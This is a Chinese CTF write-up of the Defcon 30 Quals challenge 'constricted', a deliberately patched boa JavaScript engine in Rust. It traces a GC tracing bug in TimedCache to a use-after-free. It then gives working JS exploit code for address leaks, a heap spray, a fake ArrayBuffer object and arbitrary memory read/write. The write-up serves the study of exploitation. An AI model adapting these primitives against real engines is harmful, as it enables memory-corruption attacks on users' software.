Defcon-30-Quals rust-pwn constricted 复盘笔记

一、简介

这里将记录着本人复盘 Defcon 30 Quals 中 constricted 的复盘笔记。

这道题为 boa 项目提供了一个 git diff,要求在应用这个 diff 后对 boa 进行漏洞利用。boa 是一个使用 rust 编写的 javascript 引擎,要想 pwn 掉它就得编写 JS 的漏洞利用脚本。

当初做这题时自己还没接触过 rust,这次 学成归来后 可以好好看看这题。

这题的意图是想说明,即便是用 rust 编写的程序也仍然会存在漏洞

注意,本题的调试是在实机中进行,非 docker 环境,因此 exp 可能不通用。

二、diff 内容

这里的 diff 总结起来大致如下:

  1. 在程序启动时随机 mmap 了一块内存。这里的 ctor 说明这个 init 函数需要在执行 main 函数前被执行:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    use libc::{getrandom, mmap, MAP_PRIVATE, MAP_ANON};
    use std::ptr;
    use ctor::*;

    #[ctor]
    unsafe fn init() {
    let mut buf = [0u8; 4];
    getrandom(buf.as_mut_ptr() as *mut libc::c_void, 4, 0);
    let off = std::mem::transmute::<[u8; 4], u32>(buf).to_le() as usize;
    let off = off << 12;
    let length = 0x80000000 + off;
    mmap(ptr::null_mut(), length, 0, MAP_PRIVATE | MAP_ANON, -1, 0);
    }
  2. 引入一个新的 JSObject 对象 TimedCache

    1
    2
    3
    4
    >> let v = new TimedCache()
    undefined
    >> v
    TimedCache()

    TimedCache 类代码在 boa_engine/src/builtins/timed_cache/mod.rs 中,这个类中有三个函数,分别是 getsethas。这三个方法都和时间有关,功能类似一个定时器,可以用 set 函数安装定时器、get 函数获取目标定时器剩余时间,以及用 has 函数查看定时器是否超时。

  3. 在 console 类上额外实现了几个方法,分别是:

    1. console.sysbreak():调用该函数会触发一个 int3 中断。

      1
      2
      >> console.sysbreak()
      [1] 155238 trace trap (core dumped) target/debug/boa
    2. console.sleep(ms):线程暂停一段时间,单位毫秒。

      1
      2
      >> console.sleep(1000) // sleep 1s
      undefined
    3. console.collectGarbage():强制触发垃圾回收。这里触发的垃圾回收机制是 gc = "0.4.1" crate 内的,即 rust-gc

    4. 增强了 console.debug 方法,以更好的输出信息。

  4. boa_engine/src/object/internal_methods/文件夹中,为半数以上的类做了个修改,让被修改类的每个静态 internal method 对象分配在堆上,而不是在 data 段上

三、漏洞定位

从上面总结的 diff 可以看出,diff 中:

  1. 提供了console.sleepTimedCache 这种与时间处理有关的方法和类。

  2. 大肆修改静态对象的分配位置至堆上(原本在 data 段上好好的偏偏就要改到堆上)。

  3. 主动暴露出 rust-gc 强制触发垃圾回收的接口 console.collectGarbage

那么这题无疑就是和 rust-gc 做斗争。可能有人会问,rust 不是不需要 gc 么?的确如此,但是只通过 Arc 和 Rc 来管理内存可能会造成循环引用等非常难顶的情况, 同时也加大了开发难度。为了平衡内存管理的安全性与开发效率,rust-gc crate 便发挥出了它的作用。

rust-gc 是一个 mark-sweep 类型的 GC,只有被 mark 的对象才会保留,没有 mark 的对象会在垃圾回收时被销毁。相关信息在 rust-gc - github 上,一定要先看完里面的内容,了解 rust-gc 大致的用法。

在之前总结 diff 内容时我省略掉了关于 TimedCache 类的实现细节,而这里就是关键。在 boa_engine/src/builtins/timed_cache/mod.rs 中, TimedCacheValue 类使用 boa_gc (即 rust-gc 的 wrapper)来管理类实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#[derive(Debug, Clone)]
pub struct TimeCachedValue {
expire: u128,
data: JsObject,
}
...
impl Finalize for TimeCachedValue {}
unsafe impl Trace for TimeCachedValue {
custom_trace!(this, {
if !this.is_expired() {
mark(&this.data);
}
});
}

TimeCachedValue所保存的计时器超时,那么 TimeCachedValue 实例中的 data 将不再被标记,这意味着在超时后的某个时间点,这个 data 所占用的内存将会被释放。注意 data 字段的类型 JsObject 也是一个 GC 类型:

1
2
3
pub struct JsObject {
inner: Gc<boa_gc::Cell<Object>>,
}

但要注意的是,Gc<_> 只是一个 Gc::Cell 的指针类型。换句话说虽然 Gc<_> 指向的 Cell 被释放了,但 Gc<_> 本身还在 TimeCachedValue中,如果能在释放 Gc::Cell 后把 Gc<_> 指针偷出来,那就可以造成 UAF。

在整个 TimedCache 类的实现中,只有一处地方比较可疑,那就是 get 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if let JsValue::Object(ref object) = this {
// 1. check expire
if !check_is_not_expired(object, key, context)? {
return Ok(JsValue::undefined());
}

let new_lifetime = args.get_or_undefined(1);
let expire = if !new_lifetime.is_undefined() && !new_lifetime.is_null() {
// 2. calc new expire. Is it possible to collect `data`?
Some(calculate_expire(new_lifetime, context)?)
} else {
None
};

if let Some(cache) = object.borrow_mut().as_timed_cache_mut() {
if let Some(cached_val) = cache.get_mut(key) {
if let Some(expire) = expire {
cached_val.expire = expire as u128;
}
// 3. Maybe return freed reference of `data`
return Ok(JsValue::Object(cached_val.data.clone()));
}
return Ok(JsValue::undefined());
}
}

calculate_expire 函数中,会对传入的 lifetime 参数调用 to_integer_or_infinity 方法:

1
2
3
4
fn calculate_expire(lifetime: &JsValue, context: &mut Context) -> JsResult<i128> {
let lifetime = lifetime.to_integer_or_infinity(context)?;
...
}

如果传入的 lifetime 是一个精心构建的 object,那么我们便可以在 boa 调用 calculate_expire 时执行传入 lifetime 对象的 hook 函数,在这个函数中进行 sleep + gc。这样一来,在 TimedCache::get 函数中就可以尝试返回一个被释放掉的 gc 引用,触发 UAF。

后续便可通过堆喷 + UAF 来进行漏洞利用。

四、浅析 rust-gc

在做题时顺便研究了一下 rust-gc 库,看看有没有多线程竞争的可能。调试发现整个 boa 进程竟然只有一个主线程,当创建的对象总大小超过某个阈值后,boa 才会主动触发 GC 进行 mark & sweep,这个初始阈值每个线程是 100 字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// /root/.cargo/registry/src/mirrors.tuna.tsinghua.edu.cn-df7c3c540f42cdbd/gc-0.4.1/src/gc.rs
impl<T: Trace> GcBox<T> {
/// Allocates a garbage collected `GcBox` on the heap,
/// and appends it to the thread-local `GcBox` chain.
///
/// A `GcBox` allocated this way starts its life rooted.
pub(crate) fn new(value: T) -> NonNull<Self> {
GC_STATE.with(|st| {
let mut st = st.borrow_mut();

// XXX We should probably be more clever about collecting
if st.bytes_allocated > st.threshold {
// HERE!
collect_garbage(&mut *st);
...
}
...

rust-gc 库不长,花点时间理解库的实现对做题帮助巨大。

每一个 GC 对象都有一个 GC header,用来记录当前对象的一些额外属性。例如 mark 标记,next GC 链上的下一个对象引用等等:

1
2
3
4
5
6
7
8
let gcbox = Box::into_raw(Box::new(GcBox {
header: GcBoxHeader {
roots: Cell::new(1),
marked: Cell::new(false),
next: st.boxes_start.take(),
},
data: value,
}));

当应用程序调用 Gc::new 函数创建堆对象时,该函数实际就会通过上面的 GcBox来创建对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
impl<T: Trace> Gc<T> {
/// Constructs a new `Gc<T>` with the given value.
///
/// # Collection
///
/// This method could trigger a garbage collection.
///
/// # Examples
///
///
/// use gc::Gc;
///
/// let five = Gc::new(5);
/// assert_eq!(*five, 5);
///
pub fn new(value: T) -> Self {
assert!(mem::align_of::<GcBox<T>>() > 1);

unsafe {
// Allocate the memory for the object
let ptr = GcBox::new(value);

// When we create a Gc<T>, all pointers which have been moved to the
// heap no longer need to be rooted, so we unroot them.
(*ptr.as_ptr()).value().unroot();
let gc = Gc {
ptr_root: Cell::new(NonNull::new_unchecked(ptr.as_ptr())),
marker: PhantomData,
};
gc.set_root();
gc
}
}
}

Gc<_> 结构体只会持有指向 GcBox<_> 的指针,同时也只有GcBox<_> 的分配与释放才会实际受到 mark&sweep GC 的管理。

当触发 GC 开始 mark 阶段后,GC 会遍历之前维护的 GcBox<_> 链上的元素,将其挨个标记,并递归标记当前结构体的子字段。每个 GcBox 都有一个 root 字段(取值只有0和1),用于表示当前 GcBox 是否在 GC 维护的单向链表上。如果有些 GcBox 是其他 GcBox 的子字段,那么这些身为子字段的 GcBox,其 root 属性就会为 0。GC 回收的正是那些 不在 GcBox 链上且无 mark 的 GcBox。

在通过 Gc::new 创建 GcBox 时,GcBox 不会放置在 Gc 链上;但 gc 可以通过 boa 最顶端的 gc 持有者,一步步递归向下执行 trace 来标记各个 GcBox<_>。整个流程非常的自洽,没有问题。而本题之所以会有漏洞,是因为boa 对 TimeCachedValue 类实现的 custom_trace存在错误

1
2
3
4
5
6
7
8
unsafe impl Trace for TimeCachedValue {
custom_trace!(this, {
// 外部可变条件
if !this.is_expired() {
mark(&this.data);
}
});
}

外部可变条件判断引入进 trace 中,就会导致出现虽然整体上这个 Gc 变量还在对象树上,但是 GC 中的数据已经被释放的情况。

这里的外部可变条件是:时间

换句话说,这个 trace 函数的实现违背了一个规则:不允许在变量所有权没有发生任何修改的情况下释放变量

下面是一个正确使用 custom_trace 的例子:

1
2
3
4
5
6
7
8
9
10
unsafe impl<V: Trace, S: BuildHasher> Trace for OrderedMap<V, S> {
custom_trace!(this, {
for (k, v) in this.map.iter() {
if let MapKey::Key(key) = k {
mark(key);
}
mark(v);
}
});
}

可以看到该实现是尽心尽力地将 trace 传播进子字段中,没有引入其他外部可变条件。

五、漏洞利用

a. UAF

在测试时无意间触发了一个 panic,代码如下:

1
2
3
tc = new TimedCache()
tc.set('k', {}, 0) // lifetime = 0 使得计时器立即过期,JsObject 不再被 mark
[ctrl+D 触发 EOF,垃圾回收开始] // panic!

稍微整了一个稳触发版本:

1
2
3
4
tc = new TimedCache()
tc.set('k', {}, 0)
tc = null
console.collectGarbage() // panic!

stack trace 很长,大致可以看出和 GC 有关。看了一下代码,这个 panic 是为了限制 Gc<_> 勿在 sweep 阶段对所持有的 GcBox<_> 指针进行解引用,因为这会造成非预期情况,不够安全。

这段代码产生该类型 panic 的原因是因为 UAF。上面代码中 JS 对象{} 所在的 GcBox 本应该为 root=0,即正常不会进入 unsafe 代码块,但由于内存释放,root 字段所在内存的值发生修改,因此 self.rooted() 返回 true,进入 unsafe 代码区域,触发 check 造成 panic:

1
2
3
4
5
6
7
8
9
10
11
12
impl<T: Trace + ?Sized> Drop for Gc<T> {
#[inline]
fn drop(&mut self) {
// If this pointer was a root, we should unroot it.
if self.rooted() {
// 不应该进入此分支
unsafe {
self.inner().unroot_inner();
}
}
}
}

一路研究到现在,根据现有的思路,尝试构建出以下 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// console wrapper
let log = (x) => { console.log(x) };
let debug = (x) => { log(console.debug(x)) };
let gc = () => console.collectGarbage();
let sleep = (x) => console.sleep(x);

let fake_timeout = { valueOf() {
log("[+] fake_timeout called");
sleep(2000);
gc();
return 0;
}};

let cache = new TimedCache();
cache.set('key', new ArrayBuffer(1024), 1000);
let uaf_obj = cache.get("key", fake_timeout);
debug(uaf_obj);

最后的 debug 输出了一个 JSObject,符合预期:

1
2
3
4
JsValue @0x75870461d090
Object @0x7587046c08a8
- Methods @0x758704609310
- Array Buffer Data @0x7587046d8000

b. leak heap

接下来要想想该如何泄露有用的地址出来。可以试着将 free 后堆块中的数据输出出来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// tools wrapper
let log = (x) => { console.log(x) };
let debug = (x) => { log(console.debug(x)) };
let gc = () => console.collectGarbage();
let bp = () => console.sysbreak();
let sleep = (x) => console.sleep(x);
let hex = (x) => ("0x" + x.toString(16));

// parse
// let get_js_value = (obj) =>
// Number.parseInt(console.debug(obj).split("JsValue @")[1].split("\n")[0]);
let get_obj_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Object @")[1].split("\n")[0]);
let get_method_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Methods @")[1].split("\n")[0]);
let get_buffer_data_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Buffer Data @")[1].split("\n")[0]);

let spray_obj = [];

let fake_timeout = { valueOf() {
log("[+] fake_timeout called");
sleep(2000);
gc();

return 0;
}};

let cache = new TimedCache();
cache.set('key', new Uint32Array(20), 1000);
let uaf_obj = cache.get("key", fake_timeout);

debug(uaf_obj);
log(uaf_obj.length)
for (let i = 0; i < uaf_obj.length; ++i) {
log(i + " => " + uaf_obj[i]);
}
bp();

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[+] fake_timeout called
JsValue @0x72d3b041d090
Object @0x72d3b04e7c28
- Methods @0x72d3b0409460

20
0 => 0
1 => 0
2 => 2957263088
3 => 29395
4 => 152870256
5 => 0
6 => 0
7 => 0
8 => 0
9 => 0
10 => 2957103232
11 => 29395
12 => 1
13 => 0
14 => 1
15 => 0
16 => 4282195719
17 => 32767
18 => 2957250560
19 => 29395

可以看到这里的输出有两种数对,每种数对中都有一大一小两个数,组合起来刚好为有效内存地址:

  • uaf_obj[3] * 0x100000000 + uaf_obj[2] == 0x72d3b04440f0

    image-20220827091210675

    这块内存由 rust 自己来管理。在 exp 不变的情况下,这个地址相对于当前段的偏移,将大概在 0x4440f0左右。

  • uaf_obj[17] * 0x100000000 + uaf_obj[16] == 0x7fffff3d1f07,相对偏移 0x1f07

    image-20220827092216977

注意:set 进 TimedCache 的 Array 长度为 20,太长或太短都无法收集到有意义的指针。

这样我们就能获取到这两个段的基地址;有意思的是,这两个段中间那个被夹着的段正是在执行 main 函数前通过 ctor 执行 mmap 操作所分配的内存,这块内存在每次重启程序后,长度都会发生变化(因为 getrandom):

注意程序会被调试多次,因此每张图中的地址不会一一对应(例如上图中的地址就无法映射至下图)。

image-20220827095505733

这两个段中,地址较低、大小较大的段为 rust 管理的堆内存,上面存放着许多 rust 创建的对象,注意要和 heap 区分开。

c. spray

堆喷时,需要让数组对象Backing store,分配至被释放 JsObject 的 Object 结构体内存空洞。这样一来,我们就可以通过数组对象来改写 UAF JsObject 的 Object 结构体数据,构造 fake object

在 JS 引擎漏洞利用中,通常会用 Typed Array + ArrayBuffer 类来占据被释放的内存。因为 boa 提供了针对 ArrayBuffer 的指针输出逻辑,而 BigUint64 有助于后续写入内存时以八字节为单位写入数据,这里我们选用 ArrayBuffer 来占内存,使用 BigUint64Array 来解释 ArrayBuffer。

但这里有些问题需要解决,既然要去占有 UAF 对象,那么:

  1. UAF 对象大小该怎么确定?
  2. 选什么作为 UAF 对象比较好?

先说第一个问题。我们较难从 rust 代码中直接看出一个结构体的大小,同时也无法得知 rust 在分配堆内存时其 堆块 metadata 等内容的长度(甚至堆块有没有 metadata 也不知道),但我们可以通过重复创建相同类型的变量并打印其指针信息来判断。例如:

1
2
3
4
5
6
7
let spray_objs = [];
for(let i = 0; i < 10; i++) {
let obj = new ArrayBuffer(0x100); // alloc
debug(obj); // output
log("") // new line
spray_objs.push(obj);
}

根据输出中多个 Object 指针之间的间隔:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
JsValue @0x729fbc61d260
Object @0x729fbc6e8b28
- Methods @0x729fbc609310
- Array Buffer Data @0x729fbc61e800

JsValue @0x729fbc61d2a0
Object @0x729fbc6e8ca8
- Methods @0x729fbc609310
- Array Buffer Data @0x729fbc61e900

JsValue @0x729fbc61d2e0
Object @0x729fbc6e8e28
- Methods @0x729fbc609310
- Array Buffer Data @0x729fbc61ea00

可以得知 ArrayBuffer 类型的 JSObject,其 Object 结构所占用的内存大小(包括 chunk metadata,下同)为 0x180 字节(也就是下面这个结构体)

1
2
3
4
5
6
7
8
9
10
11
12
pub struct Object {
/// The type of the object.
pub data: ObjectData,
/// The collection of properties contained in the object
properties: PropertyMap,
/// Instance prototype `__proto__`.
prototype: JsPrototype,
/// Whether it can have new properties added to it.
extensible: bool,
/// The `[[PrivateElements]]` internal slot.
private_elements: FxHashMap<Sym, PrivateElement>,
}

那么这样一来就可以比较容易的得知某个 JS 类型的具体内存占用大小。

现在来到第二个问题。由于在 Spray 阶段分配 ArrayBuffer 时,boa 会同时分配 ArrayBuffer object(大小 0x180 字节)和 Backing store(大小由用户指定,内存对齐),那么我们自然希望堆喷时 Backing store 可以占据 UAF memory,而不是被那个与 backing store 同时分配的 ArrayBuffer object 占据。这样一来,UAF object 的大小就不能是 0x180。

构建一个非 0x180 大小的对象其实很简单,由于空对象 {}的 Object 结构体大小已经为 0x180 字节了,因此随意构建一个诸如 {a:{}} 这样的嵌套对象,其 Object 结构体长度就会变更为 0x300字节。结构越复杂的类,Object 结构体的大小就会越大。

现在实战一下堆喷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// tools wrapper
let log = (x) => { console.log(x) };
let debug = (x) => { log(console.debug(x)) };
let gc = () => console.collectGarbage();
let bp = () => console.sysbreak();
let sleep = (x) => console.sleep(x);
let hex = (x) => ("0x" + x.toString(16));

// parse tools
// let get_js_value = (obj) =>
// Number.parseInt(console.debug(obj).split("JsValue @")[1].split("\n")[0]);
let get_obj_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Object @")[1].split("\n")[0]);
let get_method_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Methods @")[1].split("\n")[0]);
let get_buffer_data_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Buffer Data @")[1].split("\n")[0]);

let fake_timeout = { valueOf() {
log("[+] fake_timeout called");
sleep(2000);
gc();

return 0;
}};

let new_cache = new TimedCache();
new_cache.set('spray', {a:{}}, 1000);
let new_uaf_obj = new_cache.get("spray", fake_timeout);
debug(new_uaf_obj)
log("")

// let spray_obj = null;
let spray_objs = [];
for(let i = 0; i < 10; i++) {
let obj = new ArrayBuffer(0x300);
debug(obj);
log("")
spray_objs.push(obj);
}

bp();

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
JsValue @0x7a7ecde1d090
Object @0x7a7ecdee7aa8 // <----- 1
- Methods @0x7a7ecde09310


JsValue @0x7a7ecde1d0e0
Object @0x7a7ecdee7aa8 // <----- 2
- Methods @0x7a7ecde09310
- Array Buffer Data @0x7a7ecdec6000

JsValue @0x7a7ecde1d120
Object @0x7a7ecdee80a8
- Methods @0x7a7ecde09310
- Array Buffer Data @0x7a7ecdec6300

JsValue @0x7a7ecde1d160
Object @0x7a7ecdee8228
- Methods @0x7a7ecde09310
- Array Buffer Data @0x7a7ecdec6600
...

尬住了,内存空洞被 ArrayBuffer 的 Object 给占住了。粗略判断 rust 内存分配策略可能是 first-fit,分配 0x180 时发现有块 0x300 刚好可以切割,于是就分配走了。

挣扎了一会,终于分配成功了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ...
let new_cache = new TimedCache();
new_cache.set('spray', {a:{},b:{}}, 1000);
let new_uaf_obj = new_cache.get("spray", fake_timeout);
debug(new_uaf_obj)
log("")

let spray_objs = [];
for(let i = 0; i < 10; i++) {
let obj = new ArrayBuffer(0x180);
debug(obj);
log("")
spray_objs.push(obj);
}

输出

1
2
3
4
5
6
7
8
9
10
JsValue @0x73dcb281d0c0
Object @0x73dcb28e8228 <----- 1
- Methods @0x73dcb2809310


JsValue @0x73dcb281d0a0
Object @0x73dcb28e83a8
- Methods @0x73dcb2809310
- Array Buffer Data @0x73dcb28e8200 <----- 2
...

这次修改主要是把需要 set 进 TimedCache 的那个对象,从 {a:{}} 修改为 {a:{}, b:{}} ,这样一来 Object 结构体的大小就从 0x300 扩展至 0x480。在第一次分配 ArrayBuffer Object 对象时,内存管理器就不会立即从这块被释放的 0x480 上切割,而是获取其他位置的内存;等到第二次需要分配 0x180 大小的 Backing Store 时,再从这块内存空洞上切割一块下来,而 0x180 刚好是 Object 结构体的最低大小。

测试一下是不是真的占据成功了。在 JS 代码后面加个 debug(uaf_obj) 看看此时的输出:

1
2
3
JsValue @0x701d8021d110
Object @0x701d802f0228
- Methods @0x0

ArrayBuffer 分配成功后会清除掉这上面的全部数据,因此此时 uaf_obj 的 Methods 地址变为了 nullptr,验证了堆喷的成功。

d. fake obj

现在我们已经占据了被释放的 Object 对象内存空洞。注意到 boa 上存在 RWX 段,我们可以试着将 shellcode 放置在此处并执行:

image-20220827145033703

这个 RWX 段有些奇怪,在某些情况下是会没有 w 权限的,有些情况又会有。

同时还某些条件下还可能存在两个 RWX 段,神奇。

因此现在较为棘手的任务是构造任意地址读写原语。我们可以先为伪造的 obj 设置 method 指针,尝试构造一个 fake ArrayBuffer

通过调试与 debug 输出,可知 fake obj 其 method 指针的偏移量为 0x11 * 8 字节。

1
2
let ab = new ArrayBuffer(0x50);
views.setBigInt64(8 * 0x11, BigInt(get_method_addr(ab)), true);

但如果只是这样,没有修改 Object 的枚举类型为 ArrayBuffer,那就会在使用这个 ArrayBuffer 时产生异常:

1
Uncaught "TypeError": "buffer must be an ArrayBuffer"

尝试去构造一个完整的 ArrayBuffer,但发现如果仅仅凭借着之前 leak 出来的堆地址,想要构造一个完整的 ArrayBuffer 几乎不可能,因为内部结构实在是太复杂了:

image-20220827195903386

其中涉及到了堆、栈、二进制文件等地址,但目前能拿到的只有堆地址。需要再泄露出栈和二进制文件基地址才可以完成整个 fake obj 的构建。

那要怎么泄露栈和二进制文件基地址呢?还是尝试新壶装旧酒,通过打印被 free 掉的堆块,来看看有没有什么有用的信息。有意思的是,随着 exp 的编写,原先那个只能 leak 两个堆指针的 leak 原语,突然间就又可以多 leak 出一个二进制文件基地址了

image-20220827171215486

这样一来,此时就有了两个堆的基地址和一个二进制文件的加载基地址,但是还是没有栈指针。不过发现这个程序是直接 panic 而不是 segment fault,说明那些 ArrayBuffer 中的指针完全没用上,不然就会触发非法指针解引用直接 crash 了。

既然指针完全没用上,那么就尝试直接硬凑一些数据上去,看看是什么效果。首先要找到 ObjectKindObjectData 结构体中的相对偏移。通过调试器找到相对偏移量为0:

image-20220827203907974

之后设置一些非指针数据(这些可能是枚举等)上去,并尝试任意地址读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 3. fake obj
let views = new DataView(spray_objs[0]);
// try to restore the data
let ab = new ArrayBuffer(0x100);
// ArrayBuffer ptr
let ptr = base_addr

// Object Kind (ArrayBuffer)
views.setBigUint64(8 * 0x05, 0x02n, true);
// Target pointer
views.setBigUint64(8 * 0x06, BigInt(ptr), true);
// some size
views.setBigUint64(8 * 0x07, 0x100n, true);
views.setBigUint64(8 * 0x08, 0x100n, true);
views.setBigUint64(8 * 0x09, 0x100n, true);
views.setBigUint64(8 * 0x0a, 0x101n, true);
views.setBigUint64(8 * 0x11, BigInt(get_method_addr(ab)), true);

debug(ab);
debug(new_uaf_obj)

let new_view = new DataView(new_uaf_obj);
for(let i = 0; i < new_view.byteLength / 8; i++)
log(new_view.getBigUint64(8 * i).toString(16))

bp();

输出:

image-20220827204926541

可以看到当前 fake object 已经被成功识别为 ArrayBuffer,同时从二进制文件基地址处读取到了 ELF 文件头。任意地址读取原语构造完成

但是在尝试 fake obj 上执行写入操作时,会触发 panic:

1
thread 'main' panicked at 'Object already borrowed: BorrowMutError', boa_engine/src/builtins/dataview/mod.rs:684:40

调试可得知这个 self.flags 相对 ArrayBuffer 的偏移量,将其置为 0 后该 Panic 成功消失:

image-20220827221449146

但接下来会触发一个 GC 的空指针解引用… 通过栈回溯可以看到,这个 crash 是因为 BigUint64Array 尝试获取 mut 引用时,触发了 Fake obj 的 GC 逻辑,使其开始递归 mark 子字段的数据结构。由于 fake obj 仍然存在一些问题,没能完全复原,因此在递归为 PropertyMap 进行 trace 操作时就会触发 crash:

image-20220827223835389

看看有没有办法绕过 GC。阅读代码发现只要这个 root 调用的条件不满足,就可以绕过 GC:

image-20220827224113174

而这个条件又和刚刚设置的 self.flag 有关。刚刚设置为 0 刚好踩坑了(捂脸),应该设置为 1。设置完成后就可以进入内存写入环节:

image-20220827224237536

上图是在写入时触发 SIGSEGV,不过这个是非常正常的,因为 ELF 头部所在内存是没有写权限的,因此写入会终止。

换个地址测试一下:

1
2
3
4
5
6
7
8
9
10
// test read and write
views.setBigUint64(8 * 0x06, BigInt(base_addr + 0x1218000), true);
log(new_view.getBigUint64(0).toString(16));
new_view.setBigUint64(0, 0x1122334455667788n);
log(new_view.getBigUint64(0).toString(16));

views.setBigUint64(8 * 0x06, BigInt(base_addr + 0x1218100), true);
log(new_view.getBigUint64(0).toString(16));
new_view.setBigUint64(0, 0x33445566778899aan);
log(new_view.getBigUint64(0).toString(16));

可以看到值已经成功写入目标内存区域:

image-20220827225551875

任意地址写原语构造完成!

六、后续

任意地址读写原语构造出来后,后续的漏洞利用就是体力活了。利用任意地址读写原语,可以泄露栈、libc 等所有地址,同时也可以实现在数据段上部署 ROP 链,然后通过 stack pivot 来劫持控制流 get shell,这些就不再细讲了。

以下是编写的任意地址读写原语。注意这个 exp 是在本机环境测试,因此有些偏移或堆分布等会存在一些差异。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// tools wrapper
let log = (x) => { console.log(x) };
let debug = (x) => { log(console.debug(x)) };
let gc = () => console.collectGarbage();
let bp = () => console.sysbreak();
let sleep = (x) => console.sleep(x);
let hex = (x) => ("0x" + x.toString(16));

// parse tools
// let get_js_value = (obj) =>
// Number.parseInt(console.debug(obj).split("JsValue @")[1].split("\n")[0]);
let get_obj_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Object @")[1].split("\n")[0]);
let get_method_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Methods @")[1].split("\n")[0]);
let get_buffer_data_addr = (obj) =>
Number.parseInt(console.debug(obj).split("Buffer Data @")[1].split("\n")[0]);

let fake_timeout = { valueOf() {
log("[+] fake_timeout called");
sleep(2000);
gc();

return 0;
}};

// 1. leak heap addresses
let cache = new TimedCache();
cache.set('leak', new Uint32Array(20), 1000);
let uaf_obj = cache.get("leak", fake_timeout);

debug(uaf_obj);
log(uaf_obj.length)
// for (let i = 0; i < uaf_obj.length; ++i) {
// log(i + " => " + uaf_obj[i]);
// }

lower_heap_addr = uaf_obj[3] * 0x100000000 + uaf_obj[2] - 0x440f0;
base_addr = uaf_obj[5] * 0x100000000 + uaf_obj[4] - 0x11a9678;
higher_heap_addr = uaf_obj[17] * 0x100000000 + uaf_obj[16] - 0x1f07;
log("[+] lower_heap_addr: " + hex(lower_heap_addr));
log("[+] higher_heap_addr: " + hex(higher_heap_addr));
log("[+] base_addr: " + hex(base_addr));
if (((lower_heap_addr | higher_heap_addr | base_addr) & 0xfff) != 0) {
log("[-] Error wrong addr.")
bp(); // quit
}
log("[+] Leak successfuly.")

// 2. heap spray
let new_cache = new TimedCache();
new_cache.set('spray', {a:{}, b:{}}, 1000);
let new_uaf_obj = new_cache.get("spray", fake_timeout);
debug(new_uaf_obj)

let spray_objs = [];
// 事实上只要分配一次就够了
for(let i = 0; i < 1; i++) {
let obj = new ArrayBuffer(0x180);
debug(obj);
spray_objs.push(obj);
}

if (get_buffer_data_addr(spray_objs[0]) + 0x28 != get_obj_addr(new_uaf_obj)) {
log("[-] Error heap spray failed.")
bp(); // quit
}
log("[+] Heap spray successfuly.")


// 3. fake obj
let views = new DataView(spray_objs[0]);
// // debug write
for(let i = 0; i < views.byteLength / 8; i++)
views.setBigUint64(8*i, BigInt(i*0x10000 + i), true);
// try to restore the data
let ab = new ArrayBuffer(0x100);
// ArrayBuffer ptr
let ptr = base_addr

// mem chunk header
views.setBigUint64(8 * 0x00, 0x00n, true);
views.setBigUint64(8 * 0x01, BigInt(lower_heap_addr + 0x440f0), true);
views.setBigUint64(8 * 0x02, BigInt(base_addr + 0x11a9678), true);
views.setBigUint64(8 * 0x03, 0x100n, true);
// mut borrow flag
views.setBigUint64(8 * 0x04, 0x01n, true);

// Object Kind (ArrayBuffer)
views.setBigUint64(8 * 0x05, 0x02n, true);
// Target pointer
views.setBigUint64(8 * 0x06, BigInt(ptr), true);

// some size
views.setBigUint64(8 * 0x07, 0x100n, true);
views.setBigUint64(8 * 0x08, 0x100n, true);
views.setBigUint64(8 * 0x09, 0x100n, true);
views.setBigUint64(8 * 0x0a, 0x101n, true);

views.setBigUint64(8 * 0x0e, BigInt(ptr), true);
views.setBigUint64(8 * 0x0f, 0x100n, true);
views.setBigUint64(8 * 0x10, 0x100n, true);
views.setBigUint64(8 * 0x11, BigInt(get_method_addr(ab)), true);
views.setBigUint64(8 * 0x13, BigInt(base_addr + 0xeab740), true);

views.setBigUint64(8 * 0x1a, 0x08n, true);
views.setBigUint64(8 * 0x21, 0x08n, true);

views.setBigUint64(8 * 0x13, 0x08n, BigInt(base_addr + 0xeab740));
views.setBigUint64(8 * 0x17, 0x08n, BigInt(base_addr + 0xeab740));
views.setBigUint64(8 * 0x1e, 0x08n, BigInt(base_addr + 0xeab740));

debug(ab);
debug(new_uaf_obj);
// bp();

let new_view = new DataView(new_uaf_obj);

// test read and write
views.setBigUint64(8 * 0x06, BigInt(base_addr + 0x1218000), true);
log(new_view.getBigUint64(0).toString(16));
new_view.setBigUint64(0, 0x1122334455667788n);
log(new_view.getBigUint64(0).toString(16));

views.setBigUint64(8 * 0x06, BigInt(base_addr + 0x1218100), true);
log(new_view.getBigUint64(0).toString(16));
new_view.setBigUint64(0, 0x33445566778899aan);
